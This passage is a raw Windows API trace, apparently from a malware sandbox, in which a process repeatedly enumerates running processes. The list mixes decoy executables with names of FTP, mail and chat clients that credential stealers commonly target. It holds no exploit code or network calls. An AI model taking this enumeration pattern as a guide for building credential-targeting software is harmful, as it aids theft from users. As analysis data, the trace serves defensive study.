th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0265.648] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0265.650] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0265.652] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0265.654] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0265.656] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0265.657] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0265.659] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0265.661] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0265.663] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0265.665] CloseHandle (hObject=0x2200) returned 1 [0265.665] Sleep (dwMilliseconds=0x64) [0265.675] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0265.686] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.688] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0265.690] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0265.692] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.694] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0265.695] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.697] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0265.699] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0265.700] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0265.702] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.703] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.705] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0265.707] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.708] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.710] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.712] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.713] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.715] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.716] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.718] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0265.721] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0265.722] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0265.724] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.726] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0265.727] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0265.729] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0265.731] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0265.732] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0265.734] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0265.736] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0265.738] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.739] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0265.741] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0265.743] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0265.744] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.746] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0265.750] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0265.753] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0265.755] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0265.756] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0265.800] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0265.802] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0265.804] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0265.806] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0265.808] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0265.809] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0265.811] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0265.812] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0265.814] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0265.824] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0265.826] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0265.828] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0265.831] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0265.833] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0265.835] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0265.838] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0265.840] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0265.843] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0265.846] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0265.848] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0265.851] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0265.853] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0265.855] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0265.857] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0265.859] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0265.861] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0265.863] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0265.865] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0265.867] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0265.869] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0265.872] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0265.874] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0265.876] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0265.878] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, 